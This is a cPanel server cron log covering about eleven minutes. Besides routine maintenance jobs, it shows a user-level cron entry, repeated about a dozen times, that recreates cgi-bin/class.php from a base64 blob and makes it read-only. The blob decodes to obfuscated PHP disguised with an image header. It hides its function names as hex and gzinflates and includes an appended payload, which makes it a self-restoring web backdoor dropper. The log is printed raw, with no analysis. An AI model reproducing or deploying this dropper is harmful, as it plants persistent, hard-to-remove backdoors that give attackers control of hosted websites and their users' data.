Sep  7 05:44:01 server CROND[9746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:44:01 server CROND[9745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:44:01 server CROND[9747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:45:01 server CROND[10194]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 05:45:01 server CROND[10197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:45:01 server CROND[10198]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:45:01 server CROND[10200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:45:01 server CROND[10199]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:45:01 server CROND[10196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:45:01 server CROND[10201]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 05:46:01 server CROND[11144]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:46:01 server CROND[11143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:46:01 server CROND[11145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:47:01 server CROND[11536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:47:01 server CROND[11537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:47:01 server CROND[11538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:48:01 server CROND[11931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:48:01 server CROND[11932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:48:01 server CROND[11933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:49:01 server CROND[12306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:49:01 server CROND[12307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:49:01 server CROND[12308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:50:01 server CROND[12774]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 05:50:01 server CROND[12775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:50:01 server CROND[12777]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:50:01 server CROND[12781]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 05:50:01 server CROND[12787]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:50:01 server CROND[12790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:50:01 server CROND[12792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:50:01 server CROND[12785]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 05:50:01 server CROND[12784]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 05:51:01 server CROND[13754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:51:01 server CROND[13755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:51:01 server CROND[13756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:52:01 server CROND[14159]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  7 05:52:01 server CROND[14160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:52:01 server CROND[14162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:52:01 server CROND[14161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:53:01 server CROND[14661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:53:01 server CROND[14662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:53:01 server CROND[14663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:54:01 server CROND[15054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:54:01 server CROND[15055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:54:01 server CROND[15056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:55:01 server CROND[15453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:55:01 server CROND[15455]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 05:55:01 server CROND[15456]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:55:01 server CROND[15460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:55:01 server CROND[15457]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 05:55:01 server CROND[15459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
